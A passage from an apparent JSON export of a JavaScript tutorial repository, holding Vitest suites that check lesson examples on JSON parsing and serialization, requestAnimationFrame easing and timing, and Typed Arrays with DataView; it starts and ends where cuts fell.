})\n\n  // ============================================================\n  // JSON.PARSE BASICS\n  // From json-deep-dive.mdx lines 275-310\n  // ============================================================\n\n  describe('JSON.parse() Basics', () => {\n    // From lines 280-290: Basic parsing\n    it('should parse various JSON value types', () => {\n      expect(JSON.parse('{\"name\":\"Alice\",\"age\":30}')).toEqual({\n        name: 'Alice',\n        age: 30\n      })\n      expect(JSON.parse('[1, 2, 3]')).toEqual([1, 2, 3])\n      expect(JSON.parse('\"hello\"')).toBe('hello')\n      expect(JSON.parse('42')).toBe(42)\n      expect(JSON.parse('true')).toBe(true)\n      expect(JSON.parse('null')).toBeNull()\n    })\n\n    // From lines 295-310: Invalid JSON throws\n    it('should throw SyntaxError for invalid JSON', () => {\n      // Missing quotes around keys\n      expect(() => JSON.parse('{name: \"Alice\"}')).toThrow(SyntaxError)\n\n      // Single quotes\n      expect(() => JSON.parse(\"{'name': 'Alice'}\")).toThrow(SyntaxError)\n\n      // Trailing comma\n      expect(() => JSON.parse('{\"a\": 1,}')).toThrow(SyntaxError)\n    })\n  })\n\n  // ============================================================\n  // REVIVER PARAMETER\n  // From json-deep-dive.mdx lines 320-390\n  // ============================================================\n\n  describe('Reviver Parameter', () => {\n    // From lines 330-355: Reviving dates\n    it('should revive date strings to Date objects', () => {\n      const json = '{\"name\":\"Alice\",\"createdAt\":\"2024-01-15T10:30:00.000Z\"}'\n\n      const obj = JSON.parse(json, (key, value) => {\n        if (typeof value === 'string' && /^\\d{4}-\\d{2}-\\d{2}T/.test(value)) {\n          return new Date(value)\n        }\n        return value\n      })\n\n      expect(obj.name).toBe('Alice')\n      expect(obj.createdAt instanceof Date).toBe(true)\n      expect(obj.createdAt.toISOString()).toBe('2024-01-15T10:30:00.000Z')\n    })\n\n    // From lines 360-375: Processing order\n    it('should process values from innermost to outermost', () => {\n      const order = []\n\n      JSON.parse('{\"a\":{\"b\":1},\"c\":2}', (key, value) => {\n        order.push(key)\n        return value\n      })\n\n      // Innermost first, then containing object, siblings, root last\n      expect(order).toEqual(['b', 'a', 'c', ''])\n    })\n\n    // From lines 380-390: Filtering during parse\n    it('should delete properties by returning undefined', () => {\n      const json = '{\"name\":\"Alice\",\"__internal\":true,\"id\":1}'\n\n      const cleaned = JSON.parse(json, (key, value) => {\n        if (key.startsWith('__')) return undefined\n        return value\n      })\n\n      expect(cleaned).toEqual({ name: 'Alice', id: 1 })\n      expect(cleaned.__internal).toBeUndefined()\n    })\n  })\n\n  // ============================================================\n  // CUSTOM toJSON() METHODS\n  // From json-deep-dive.mdx lines 400-460\n  // ============================================================\n\n  describe('Custom toJSON() Methods', () => {\n    // From lines 405-420: Basic toJSON\n    it('should use toJSON() method for serialization', () => {\n      const user = {\n        name: 'Alice',\n        password: 'secret123',\n        toJSON() {\n          return { name: this.name }\n        }\n      }\n\n      const json = JSON.stringify(user)\n\n      expect(json).toBe('{\"name\":\"Alice\"}')\n    })\n\n    // From lines 425-440: Built-in Date toJSON\n    it('should serialize Date using its toJSON method', () => {\n      const date = new Date('2024-01-15T10:30:00.000Z')\n\n      const json = JSON.stringify(date)\n\n      expect(json).toBe('\"2024-01-15T10:30:00.000Z\"')\n    })\n\n    // From lines 445-460: toJSON in classes\n    it('should use toJSON in class instances', () => {\n      class User {\n        constructor(name, email, password) {\n          this.name = name\n          this.email = email\n          this.password = password\n          this.createdAt = new Date('2024-01-15T10:30:00.000Z')\n        }\n\n        toJSON() {\n          return {\n            name: this.name,\n            email: this.email,\n            createdAt: this.createdAt.toISOString()\n          }\n        }\n      }\n\n      const user = new User('Alice', 'alice@example.com', 'secret')\n      const json = JSON.stringify(user)\n      const parsed = JSON.parse(json)\n\n      expect(parsed.name).toBe('Alice')\n      expect(parsed.email).toBe('alice@example.com')\n      expect(parsed.password).toBeUndefined()\n      expect(parsed.createdAt).toBe('2024-01-15T10:30:00.000Z')\n    })\n\n    // From lines 465-480: toJSON receives key\n    it('should pass property key to toJSON method', () => {\n      const obj = {\n        toJSON(key) {\n          return key ? `Nested under \"${key}\"` : 'Root level'\n        }\n      }\n\n      expect(JSON.stringify(obj)).toBe('\"Root level\"')\n      expect(JSON.stringify({ data: obj })).toBe(\n        '{\"data\":\"Nested under \\\\\"data\\\\\"\"}'\n      )\n      expect(JSON.stringify([obj])).toBe('[\"Nested under \\\\\"0\\\\\"\"]')\n    })\n  })\n\n  // ============================================================\n  // CIRCULAR REFERENCES\n  // From json-deep-dive.mdx lines 490-550\n  // ============================================================\n\n  describe('Circular References', () => {\n    // From lines 495-505: Circular reference error\n    it('should throw TypeError for circular references', () => {\n      const obj = { name: 'Alice' }\n      obj.self = obj\n\n      expect(() => JSON.stringify(obj)).toThrow(TypeError)\n    })\n\n    // From lines 510-540: Safe stringify with WeakSet\n    it('should handle circular references with custom replacer', () => {\n      function safeStringify(obj) {\n        const seen = new WeakSet()\n\n        return JSON.stringify(obj, (key, value) => {\n          if (typeof value === 'object' && value !== null) {\n            if (seen.has(value)) {\n              return '[Circular Reference]'\n            }\n            seen.add(value)\n          }\n          return value\n        })\n      }\n\n      const obj = { name: 'Alice' }\n      obj.self = obj\n\n      const result = safeStringify(obj)\n\n      expect(result).toBe('{\"name\":\"Alice\",\"self\":\"[Circular Reference]\"}')\n    })\n\n    // More complex circular reference\n    it('should detect nested circular references', () => {\n      function safeStringify(obj) {\n        const seen = new WeakSet()\n\n        return JSON.stringify(obj, (key, value) => {\n          if (typeof value === 'object' && value !== null) {\n            if (seen.has(value)) {\n              return '[Circular]'\n            }\n            seen.add(value)\n          }\n          return value\n        })\n      }\n\n      const a = { name: 'a' }\n      const b = { name: 'b', ref: a }\n      a.ref = b\n\n      const result = JSON.parse(safeStringify(a))\n\n      expect(result.name).toBe('a')\n      expect(result.ref.name).toBe('b')\n      expect(result.ref.ref).toBe('[Circular]')\n    })\n  })\n\n  // ============================================================\n  // SERIALIZING SPECIAL TYPES\n  // From json-deep-dive.mdx lines 560-680\n  // ============================================================\n\n  describe('Serializing Special Types', () => {\n    // From lines 565-580: Dates round-trip\n    it('should serialize and revive dates', () => {\n      const event = { name: 'Meeting', date: new Date('2024-06-15') }\n      const json = JSON.stringify(event)\n\n      const parsed = JSON.parse(json, (key, value) => {\n        if (key === 'date') return new Date(value)\n        return value\n      })\n\n      expect(parsed.name).toBe('Meeting')\n      expect(parsed.date instanceof Date).toBe(true)\n    })\n\n    // From lines 585-595: Maps and Sets become empty\n    it('should show Maps and Sets serialize as empty objects by default', () => {\n      const map = new Map([\n        ['a', 1],\n        ['b', 2]\n      ])\n      const set = new Set([1, 2, 3])\n\n      expect(JSON.stringify(map)).toBe('{}')\n      expect(JSON.stringify(set)).toBe('{}')\n    })\n\n    // From lines 600-650: Custom Map/Set serialization\n    it('should serialize and revive Maps with custom replacer/reviver', () => {\n      function replacer(key, value) {\n        if (value instanceof Map) {\n          return {\n            __type: 'Map',\n            entries: Array.from(value.entries())\n          }\n        }\n        if (value instanceof Set) {\n          return {\n            __type: 'Set',\n            values: Array.from(value)\n          }\n        }\n        return value\n      }\n\n      function reviver(key, value) {\n        if (value && value.__type === 'Map') {\n          return new Map(value.entries)\n        }\n        if (value && value.__type === 'Set') {\n          return new Set(value.values)\n        }\n        return value\n      }\n\n      const data = {\n        users: new Map([\n          ['alice', { age: 30 }],\n          ['bob', { age: 25 }]\n        ]),\n        tags: new Set(['javascript', 'tutorial'])\n      }\n\n      const json = JSON.stringify(data, replacer)\n      const restored = JSON.parse(json, reviver)\n\n      expect(restored.users instanceof Map).toBe(true)\n      expect(restored.users.get('alice')).toEqual({ age: 30 })\n      expect(restored.tags instanceof Set).toBe(true)\n      expect(restored.tags.has('javascript')).toBe(true)\n    })\n\n    // From lines 655-680: BigInt handling\n    it('should throw when stringifying BigInt by default', () => {\n      const data = { bigNumber: 12345678901234567890n }\n\n      expect(() => JSON.stringify(data)).toThrow(TypeError)\n    })\n\n    it('should serialize and revive BigInt with custom replacer/reviver', () => {\n      function bigIntReplacer(key, value) {\n        if (typeof value === 'bigint') {\n          return { __type: 'BigInt', value: value.toString() }\n        }\n        return value\n      }\n\n      function bigIntReviver(key, value) {\n        if (value && value.__type === 'BigInt') {\n          return BigInt(value.value)\n        }\n        return value\n      }\n\n      const data = { id: 9007199254740993n }\n      const json = JSON.stringify(data, bigIntReplacer)\n      const restored = JSON.parse(json, bigIntReviver)\n\n      expect(restored.id).toBe(9007199254740993n)\n    })\n  })\n\n  // ============================================================\n  // COMMON PATTERNS AND USE CASES\n  // From json-deep-dive.mdx lines 690-790\n  // ============================================================\n\n  describe('Common Patterns', () => {\n    // From lines 695-705: Deep clone\n    it('should deep clone simple objects using JSON', () => {\n      const original = { a: 1, b: { c: 2 } }\n      const clone = JSON.parse(JSON.stringify(original))\n\n      clone.b.c = 999\n\n      expect(original.b.c).toBe(2)\n      expect(clone.b.c).toBe(999)\n    })\n\n    // From lines 735-760: Logging with redaction\n    it('should redact sensitive keys in logging', () => {\n      function safeStringify(obj, sensitiveKeys = ['password', 'token', 'secret']) {\n        return JSON.stringify(\n          obj,\n          (key, value) => {\n            if (sensitiveKeys.includes(key.toLowerCase())) {\n              return '[REDACTED]'\n            }\n            return value\n          },\n          2\n        )\n      }\n\n      const data = {\n        user: 'alice',\n        password: 'secret123',\n        data: { apiToken: 'abc123' }\n      }\n\n      const redacted = JSON.parse(safeStringify(data))\n\n      expect(redacted.user).toBe('alice')\n      expect(redacted.password).toBe('[REDACTED]')\n    })\n  })\n\n  // ============================================================\n  // TEST YOUR KNOWLEDGE - Q&A SECTION TESTS\n  // From json-deep-dive.mdx lines 820-920\n  // ============================================================\n\n  describe('Test Your Knowledge', () => {\n    // Q1: Functions omitted from objects\n    it('should demonstrate functions being omitted from stringify', () => {\n      const obj = {\n        name: 'Alice',\n        greet: function () {\n          return 'Hi!'\n        }\n      }\n\n      const json = JSON.stringify(obj)\n\n      expect(json).toBe('{\"name\":\"Alice\"}')\n    })\n\n    // Q2: Excluding properties with array replacer\n    it('should demonstrate array replacer for whitelisting', () => {\n      const user = { id: 1, name: 'Alice', password: 'secret' }\n      const json = JSON.stringify(user, ['id', 'name'])\n\n      expect(json).toBe('{\"id\":1,\"name\":\"Alice\"}')\n    })\n\n    // Q3: Date parsing without reviver\n    it('should show dates remain strings without reviver', () => {\n      const original = { created: new Date('2024-01-15') }\n      const json = JSON.stringify(original)\n      const parsed = JSON.parse(json)\n\n      expect(typeof parsed.created).toBe('string')\n    })\n\n    // Q4: Difference between replacer and toJSON\n    it('should show toJSON runs before replacer', () => {\n      const log = []\n\n      const obj = {\n        value: 1,\n        toJSON() {\n          log.push('toJSON called')\n          return { converted: this.value }\n        }\n      }\n\n      JSON.stringify(obj, (key, value) => {\n        if (key !== '') log.push(`replacer: ${key}`)\n        return value\n      })\n\n      expect(log[0]).toBe('toJSON called')\n      expect(log[1]).toBe('replacer: converted')\n    })\n\n    // Q5: Circular reference handling\n    it('should demonstrate WeakSet for circular reference detection', () => {\n      const seen = new WeakSet()\n      const obj = { name: 'test' }\n      obj.self = obj\n\n      const result = JSON.stringify(obj, (key, value) => {\n        if (typeof value === 'object' && value !== null) {\n          if (seen.has(value)) {\n            return '[Circular]'\n          }\n          seen.add(value)\n        }\n        return value\n      })\n\n      expect(result).toBe('{\"name\":\"test\",\"self\":\"[Circular]\"}')\n    })\n\n    // Q6: Space parameter clamping\n    it('should demonstrate space parameter formatting', () => {\n      const data = { name: 'Alice', age: 30 }\n\n      const with2 = JSON.stringify(data, null, 2)\n      const with4 = JSON.stringify(data, null, 4)\n      const withTab = JSON.stringify(data, null, '\\t')\n\n      expect(with2).toContain('  \"name\"')\n      expect(with4).toContain('    \"name\"')\n      expect(withTab).toContain('\\t\"name\"')\n    })\n  })\n\n  // ============================================================\n  // EDGE CASES AND ERROR HANDLING\n  // Additional tests for robustness\n  // ============================================================\n\n  describe('Edge Cases', () => {\n    it('should handle empty objects and arrays', () => {\n      expect(JSON.stringify({})).toBe('{}')\n      expect(JSON.stringify([])).toBe('[]')\n      expect(JSON.parse('{}')).toEqual({})\n      expect(JSON.parse('[]')).toEqual([])\n    })\n\n    it('should handle nested objects', () => {\n      const deep = { a: { b: { c: { d: 1 } } } }\n      const json = JSON.stringify(deep)\n      const parsed = JSON.parse(json)\n\n      expect(parsed.a.b.c.d).toBe(1)\n    })\n\n    it('should handle arrays with objects', () => {\n      const data = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' }\n      ]\n\n      const json = JSON.stringify(data)\n      const parsed = JSON.parse(json)\n\n      expect(parsed).toEqual(data)\n    })\n\n    it('should handle unicode strings', () => {\n      const data = { emoji: '😀', chinese: '中文' }\n      const json = JSON.stringify(data)\n      const parsed = JSON.parse(json)\n\n      expect(parsed.emoji).toBe('😀')\n      expect(parsed.chinese).toBe('中文')\n    })\n\n    it('should handle escaped characters in strings', () => {\n      const data = { text: 'Line1\\nLine2\\tTabbed' }\n      const json = JSON.stringify(data)\n      const parsed = JSON.parse(json)\n\n      expect(parsed.text).toBe('Line1\\nLine2\\tTabbed')\n    })\n\n    it('should stringify null prototype objects', () => {\n      const obj = Object.create(null)\n      obj.name = 'Alice'\n\n      const json = JSON.stringify(obj)\n\n      expect(json).toBe('{\"name\":\"Alice\"}')\n    })\n\n    it('should handle replacer that returns object wrapper', () => {\n      const result = JSON.stringify({ x: 1 }, (key, value) => {\n        if (key === '') {\n          return { wrapper: value, meta: 'added' }\n        }\n        return value\n      })\n\n      const parsed = JSON.parse(result)\n      expect(parsed.wrapper.x).toBe(1)\n      expect(parsed.meta).toBe('added')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/data-handling/requestanimationframe/requestanimationframe.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('requestAnimationFrame', () => {\n  describe('Easing Functions', () => {\n    const easing = {\n      easeIn: (t) => t * t,\n      easeOut: (t) => t * (2 - t),\n      easeInOut: (t) => t < 0.5 \n        ? 2 * t * t \n        : -1 + (4 - 2 * t) * t,\n      easeOutBounce: (t) => {\n        if (t < 1 / 2.75) {\n          return 7.5625 * t * t\n        } else if (t < 2 / 2.75) {\n          return 7.5625 * (t -= 1.5 / 2.75) * t + 0.75\n        } else if (t < 2.5 / 2.75) {\n          return 7.5625 * (t -= 2.25 / 2.75) * t + 0.9375\n        } else {\n          return 7.5625 * (t -= 2.625 / 2.75) * t + 0.984375\n        }\n      }\n    }\n    \n    describe('easeIn', () => {\n      it('should return 0 when progress is 0', () => {\n        expect(easing.easeIn(0)).toBe(0)\n      })\n      \n      it('should return 1 when progress is 1', () => {\n        expect(easing.easeIn(1)).toBe(1)\n      })\n      \n      it('should return 0.25 when progress is 0.5 (quadratic)', () => {\n        expect(easing.easeIn(0.5)).toBe(0.25)\n      })\n      \n      it('should start slow and end fast', () => {\n        const firstQuarter = easing.easeIn(0.25) - easing.easeIn(0)\n        const secondQuarter = easing.easeIn(0.5) - easing.easeIn(0.25)\n        expect(firstQuarter).toBeLessThan(secondQuarter)\n      })\n    })\n    \n    describe('easeOut', () => {\n      it('should return 0 when progress is 0', () => {\n        expect(easing.easeOut(0)).toBe(0)\n      })\n      \n      it('should return 1 when progress is 1', () => {\n        expect(easing.easeOut(1)).toBe(1)\n      })\n      \n      it('should return 0.75 when progress is 0.5', () => {\n        expect(easing.easeOut(0.5)).toBe(0.75)\n      })\n      \n      it('should start fast and end slow', () => {\n        const firstQuarter = easing.easeOut(0.25) - easing.easeOut(0)\n        const lastQuarter = easing.easeOut(1) - easing.easeOut(0.75)\n        expect(firstQuarter).toBeGreaterThan(lastQuarter)\n      })\n    })\n    \n    describe('easeInOut', () => {\n      it('should return 0 when progress is 0', () => {\n        expect(easing.easeInOut(0)).toBe(0)\n      })\n      \n      it('should return 1 when progress is 1', () => {\n        expect(easing.easeInOut(1)).toBe(1)\n      })\n      \n      it('should return 0.5 when progress is 0.5', () => {\n        expect(easing.easeInOut(0.5)).toBe(0.5)\n      })\n      \n      it('should be symmetric around 0.5', () => {\n        const at025 = easing.easeInOut(0.25)\n        const at075 = easing.easeInOut(0.75)\n        expect(at025 + at075).toBeCloseTo(1)\n      })\n    })\n    \n    describe('easeOutBounce', () => {\n      it('should return 0 when progress is 0', () => {\n        expect(easing.easeOutBounce(0)).toBe(0)\n      })\n      \n      it('should return 1 when progress is 1', () => {\n        expect(easing.easeOutBounce(1)).toBeCloseTo(1, 5)\n      })\n      \n      it('should produce values in range [0, 1]', () => {\n        for (let t = 0; t <= 1; t += 0.1) {\n          const value = easing.easeOutBounce(t)\n          expect(value).toBeGreaterThanOrEqual(0)\n          expect(value).toBeLessThanOrEqual(1.1)\n        }\n      })\n    })\n  })\n  \n  describe('Animation Progress Calculation', () => {\n    it('should calculate progress from 0 to 1 based on elapsed time', () => {\n      const duration = 2000\n      const startTime = 1000\n      \n      function calculateProgress(timestamp) {\n        const elapsed = timestamp - startTime\n        return Math.min(elapsed / duration, 1)\n      }\n      \n      expect(calculateProgress(1000)).toBe(0)\n      expect(calculateProgress(2000)).toBe(0.5)\n      expect(calculateProgress(3000)).toBe(1)\n      expect(calculateProgress(4000)).toBe(1)\n    })\n    \n    it('should calculate position based on progress', () => {\n      const totalDistance = 400\n      \n      function calculatePosition(progress) {\n        return progress * totalDistance\n      }\n      \n      expect(calculatePosition(0)).toBe(0)\n      expect(calculatePosition(0.5)).toBe(200)\n      expect(calculatePosition(1)).toBe(400)\n    })\n  })\n  \n  describe('Delta Time Calculation', () => {\n    it('should calculate deltaTime correctly', () => {\n      let lastTime = 0\n      const speed = 200\n      \n      function calculateMovement(currentTime) {\n        const deltaTime = (currentTime - lastTime) / 1000\n        lastTime = currentTime\n        return speed * deltaTime\n      }\n      \n      lastTime = 0\n      const movement60fps = calculateMovement(16.67)\n      expect(movement60fps).toBeCloseTo(200 * 0.01667, 1)\n      \n      lastTime = 0\n      const movement30fps = calculateMovement(33.33)\n      expect(movement30fps).toBeCloseTo(200 * 0.03333, 1)\n    })\n    \n    it('should produce approximately same distance at different frame rates', () => {\n      const speed = 200\n      const totalTime = 1000\n      \n      let position60fps = 0\n      for (let time = 16.67; time <= totalTime; time += 16.67) {\n        position60fps += speed * (16.67 / 1000)\n      }\n      \n      let position30fps = 0\n      for (let time = 33.33; time <= totalTime; time += 33.33) {\n        position30fps += speed * (33.33 / 1000)\n      }\n      \n      expect(position60fps).toBeCloseTo(200, -1)\n      expect(position30fps).toBeCloseTo(200, -1)\n      expect(Math.abs(position60fps - position30fps)).toBeLessThan(10)\n    })\n  })\n  \n  describe('Reusable Animation Function', () => {\n    it('should apply easing function to progress', () => {\n      const easeIn = t => t * t\n      \n      expect(easeIn(0.5)).toBe(0.25)\n      \n      function applyEasing(linearProgress, easingFn) {\n        return easingFn(linearProgress)\n      }\n      \n      expect(applyEasing(0, easeIn)).toBe(0)\n      expect(applyEasing(0.5, easeIn)).toBe(0.25)\n      expect(applyEasing(1, easeIn)).toBe(1)\n    })\n    \n    it('should clamp progress to 1 when time exceeds duration', () => {\n      const duration = 1000\n      const startTime = 0\n      \n      function getProgress(currentTime) {\n        let progress = (currentTime - startTime) / duration\n        if (progress > 1) progress = 1\n        return progress\n      }\n      \n      expect(getProgress(500)).toBe(0.5)\n      expect(getProgress(1000)).toBe(1)\n      expect(getProgress(2000)).toBe(1)\n    })\n  })\n  \n  describe('Pausable Animation Class', () => {\n    class Animation {\n      constructor({ duration, timing, draw }) {\n        this.duration = duration\n        this.timing = timing\n        this.draw = draw\n        this.elapsed = 0\n        this.running = false\n        this.lastTime = null\n      }\n      \n      start() {\n        if (this.running) return\n        this.running = true\n        this.lastTime = performance.now()\n      }\n      \n      pause() {\n        this.running = false\n      }\n      \n      getProgress() {\n        let progress = this.elapsed / this.duration\n        if (progress > 1) progress = 1\n        return this.timing(progress)\n      }\n    }\n    \n    it('should track elapsed time and running state', () => {\n      const anim = new Animation({\n        duration: 1000,\n        timing: t => t,\n        draw: () => {}\n      })\n      \n      expect(anim.elapsed).toBe(0)\n      expect(anim.running).toBe(false)\n    })\n    \n    it('should not start multiple times if already running', () => {\n      const anim = new Animation({\n        duration: 1000,\n        timing: t => t,\n        draw: () => {}\n      })\n      \n      anim.start()\n      expect(anim.running).toBe(true)\n      \n      const initialLastTime = anim.lastTime\n      anim.start()\n      expect(anim.lastTime).toBe(initialLastTime)\n    })\n    \n    it('should pause and set running to false', () => {\n      const anim = new Animation({\n        duration: 1000,\n        timing: t => t,\n        draw: () => {}\n      })\n      \n      anim.start()\n      expect(anim.running).toBe(true)\n      \n      anim.pause()\n      expect(anim.running).toBe(false)\n    })\n    \n    it('should apply timing function to progress', () => {\n      const easeIn = t => t * t\n      const anim = new Animation({\n        duration: 1000,\n        timing: easeIn,\n        draw: () => {}\n      })\n      \n      anim.elapsed = 500\n      expect(anim.getProgress()).toBe(0.25)\n      \n      anim.elapsed = 1000\n      expect(anim.getProgress()).toBe(1)\n    })\n  })\n  \n  describe('First Frame Handling', () => {\n    it('should demonstrate the problem with improper initialization', () => {\n      let lastTime = 0\n      \n      function animateWrong(time) {\n        const delta = time - lastTime\n        lastTime = time\n        return delta\n      }\n      \n      const delta = animateWrong(5000)\n      expect(delta).toBe(5000)\n    })\n    \n    it('should properly handle first frame with null check', () => {\n      let lastTime = null\n      \n      function animateCorrect(time) {\n        if (lastTime === null) {\n          lastTime = time\n          return null\n        }\n        \n        const delta = time - lastTime\n        lastTime = time\n        return delta\n      }\n      \n      const firstDelta = animateCorrect(5000)\n      expect(firstDelta).toBeNull()\n      \n      const secondDelta = animateCorrect(5016.67)\n      expect(secondDelta).toBeCloseTo(16.67, 1)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/data-handling/typed-arrays-arraybuffers/typed-arrays-arraybuffers.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\n/**\n * Tests for Typed Arrays & ArrayBuffers concept\n * Source: /docs/beyond/concepts/typed-arrays-arraybuffers.mdx\n */\n\ndescribe('Typed Arrays & ArrayBuffers', () => {\n  // ============================================================\n  // ARRAYBUFFER BASICS\n  // From typed-arrays-arraybuffers.mdx lines ~10-20\n  // ============================================================\n\n  describe('ArrayBuffer Basics', () => {\n    // From lines 10-20: Opening example\n    it('should create a buffer with specified byte length', () => {\n      const buffer = new ArrayBuffer(16)\n\n      expect(buffer.byteLength).toBe(16)\n    })\n\n    // From lines 70-80: Cannot access ArrayBuffer directly\n    it('should not allow direct access to ArrayBuffer bytes', () => {\n      const buffer = new ArrayBuffer(16)\n\n      expect(buffer[0]).toBe(undefined)  // Can't access directly!\n    })\n\n    // From lines 85-95: ArrayBuffer slice\n    it('should slice a portion of the buffer to a new ArrayBuffer', () => {\n      const original = new ArrayBuffer(16)\n      const sliced = original.slice(4, 8)\n\n      expect(sliced.byteLength).toBe(4)\n      expect(original.byteLength).toBe(16)  // Original unchanged\n    })\n  })\n\n  // ============================================================\n  // TYPED ARRAY CREATION\n  // From typed-arrays-arraybuffers.mdx lines ~120-180\n  // ============================================================\n\n  describe('Creating Typed Arrays', () => {\n    describe('From Length', () => {\n      // From lines 125-135: Create from length\n      it('should create a typed array with specified element count', () => {\n        const uint8 = new Uint8Array(4)\n\n        expect(uint8.length).toBe(4)\n        expect(uint8.byteLength).toBe(4)\n        expect(uint8[0]).toBe(0)  // Initialized to zero\n      })\n    })\n\n    describe('From Array', () => {\n      // From lines 140-150: Create from regular array\n      it('should create a typed array from a regular array', () => {\n        const uint8 = new Uint8Array([10, 20, 30, 40])\n\n        expect(uint8[0]).toBe(10)\n        expect(uint8[1]).toBe(20)\n        expect(uint8.length).toBe(4)\n      })\n    })\n\n    describe('From Buffer', () => {\n      // From lines 155-170: Create view over buffer\n      it('should create a view over an existing buffer', () => {\n        const buffer = new ArrayBuffer(8)\n        const int32 = new Int32Array(buffer)\n\n        expect(int32.length).toBe(2)  // 8 bytes / 4 bytes per int32\n      })\n\n      it('should create a partial view starting at an offset', () => {\n        const buffer = new ArrayBuffer(8)\n        const int16 = new Int16Array(buffer, 4)  // Start at byte 4\n\n        expect(int16.length).toBe(2)  // 4 remaining bytes / 2 bytes per int16\n      })\n    })\n\n    describe('From Another Typed Array', () => {\n      // From lines 175-185: Copy with truncation\n      it('should copy values with truncation when converting types', () => {\n        const original = new Uint16Array([1000, 2000])\n        const copy = new Uint8Array(original)\n\n        // Values truncated to 8 bits\n        expect(copy[0]).toBe(232)  // 1000 % 256 = 232\n        expect(copy[1]).toBe(208)  // 2000 % 256 = 208\n      })\n    })\n  })\n\n  // ============================================================\n  // USING TYPED ARRAYS\n  // From typed-arrays-arraybuffers.mdx lines ~190-220\n  // ============================================================\n\n  describe('Using Typed Arrays', () => {\n    // From lines 190-205: Array-like operations\n    it('should support array-like access', () => {\n      const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5])\n\n      expect(numbers[0]).toBe(1.5)\n      expect(numbers.length).toBe(4)\n    })\n\n    it('should support iteration with for...of', () => {\n      const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5])\n      const collected = []\n\n      for (const num of numbers) {\n        collected.push(num)\n      }\n\n      expect(collected).toEqual([1.5, 2.5, 3.5, 4.5])\n    })\n\n    it('should support map, filter, and reduce', () => {\n      const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5])\n\n      const doubled = numbers.map(x => x * 2)\n      expect([...doubled]).toEqual([3, 5, 7, 9])\n\n      const sum = numbers.reduce((a, b) => a + b, 0)\n      expect(sum).toBe(12)\n    })\n  })\n\n  // ============================================================\n  // MULTIPLE VIEWS ON SAME BUFFER\n  // From typed-arrays-arraybuffers.mdx lines ~230-280\n  // ============================================================\n\n  describe('Multiple Views on Same Buffer', () => {\n    // From lines 235-260: Different views of same data\n    it('should allow multiple views of the same buffer', () => {\n      const buffer = new ArrayBuffer(4)\n\n      // View as 4 separate bytes\n      const bytes = new Uint8Array(buffer)\n      bytes[0] = 0x12\n      bytes[1] = 0x34\n      bytes[2] = 0x56\n      bytes[3] = 0x78\n\n      // View the same bytes as a single 32-bit integer\n      const int32 = new Uint32Array(buffer)\n      // Little-endian: least significant byte first\n      expect(int32[0].toString(16)).toBe('78563412')\n\n      // View as two 16-bit integers\n      const int16 = new Uint16Array(buffer)\n      expect(int16[0].toString(16)).toBe('3412')\n      expect(int16[1].toString(16)).toBe('7856')\n    })\n\n    it('should reflect changes across all views of the same buffer', () => {\n      const buffer = new ArrayBuffer(4)\n      const uint8 = new Uint8Array(buffer)\n      const uint32 = new Uint32Array(buffer)\n\n      uint32[0] = 0x12345678\n      \n      // Changes visible in uint8 view (little-endian order)\n      expect(uint8[0]).toBe(0x78)\n      expect(uint8[1]).toBe(0x56)\n      expect(uint8[2]).toBe(0x34)\n      expect(uint8[3]).toBe(0x12)\n    })\n  })\n\n  // ============================================================\n  // DATAVIEW\n  // From typed-arrays-arraybuffers.mdx lines ~290-360\n  // ============================================================\n\n  describe('DataView', () => {\n    // From lines 295-320: DataView with different types\n    it('should read and write different types at specific offsets', () => {\n      const buffer = new ArrayBuffer(12)\n      const view = new DataView(buffer)\n\n      // Write different types at specific offsets\n      view.setUint8(0, 255)           // 1 byte at offset 0\n      view.setUint16(1, 1000, true)   // 2 bytes at offset 1 (little-endian)\n      view.setFloat32(3, 3.14, true)  // 4 bytes at offset 3 (little-endian)\n      view.setUint32(7, 42, true)     // 4 bytes at offset 7 (little-endian)\n\n      // Read them back\n      expect(view.getUint8(0)).toBe(255)\n      expect(view.getUint16(1, true)).toBe(1000)\n      expect(view.getFloat32(3, true)).toBeCloseTo(3.14, 2)\n      expect(view.getUint32(7, true)).toBe(42)\n    })\n\n    // From lines 330-360: DataView methods\n    it('should support all DataView getter/setter methods', () => {\n      const dv = new DataView(new ArrayBuffer(24))\n\n      // Int8\n      dv.setInt8(0, -1)\n      expect(dv.getInt8(0)).toBe(-1)\n\n      // Uint8\n      dv.setUint8(1, 255)\n      expect(dv.getUint8(1)).toBe(255)\n\n      // Int16 (little-endian)\n      dv.setInt16(2, -1000, true)\n      expect(dv.getInt16(2, true)).toBe(-1000)\n\n      // Uint16 (little-endian)\n      dv.setUint16(4, 65000, true)\n      expect(dv.getUint16(4, true)).toBe(65000)\n\n      // Float32 (little-endian)\n      dv.setFloat32(6, 3.14, true)\n      expect(dv.getFloat32(6, true)).toBeCloseTo(3.14, 2)\n\n      // Float64 (little-endian)\n      dv.setFloat64(10, 3.14159265, true)\n      expect(dv.getFloat64(10, true)).toBeCloseTo(3.14159265, 8)\n    })\n  })\n\n  // ============================================================\n  // TEXT ENCODING/DECODING\n  // From typed-arrays-arraybuffers.mdx lines ~440-470\n  // ============================================================\n\n  describe('Text Encoding and Decoding', () => {\n    // From lines 445-460: TextEncoder and TextDecoder\n    it('should convert string to bytes with TextEncoder', () => {\n      const encoder = new TextEncoder()\n      const bytes = encoder.encode(\"Hello 世界\")\n\n      expect(bytes).toBeInstanceOf(Uint8Array)\n      expect(bytes[0]).toBe(72)   // 'H'\n      expect(bytes[1]).toBe(101)  // 'e'\n      expect(bytes[2]).toBe(108)  // 'l'\n      expect(bytes.length).toBe(12)  // UTF-8: 6 ASCII + 6 for 2 Chinese chars\n    })\n\n    it('should convert bytes to string with TextDecoder', () => {\n      const encoder = new TextEncoder()\n      const bytes = encoder.encode(\"Hello 世界\")\n\n      const decoder = new TextDecoder('utf-8')\n      const text = decoder.decode(bytes)\n\n      expect(text).toBe(\"Hello 世界\")\n    })\n\n    it('should decode ArrayBuffer directly', () => {\n      const buffer = new ArrayBuffer(5)\n      new Uint8Array(buffer).set([72, 101, 108, 108, 111])  // \"Hello\"\n\n      const decoder = new TextDecoder('utf-8')\n      expect(decoder.decode(buffer)).toBe(\"Hello\")\n    })\n  })\n\n  // ============================================================\n  // PROPERTIES AND 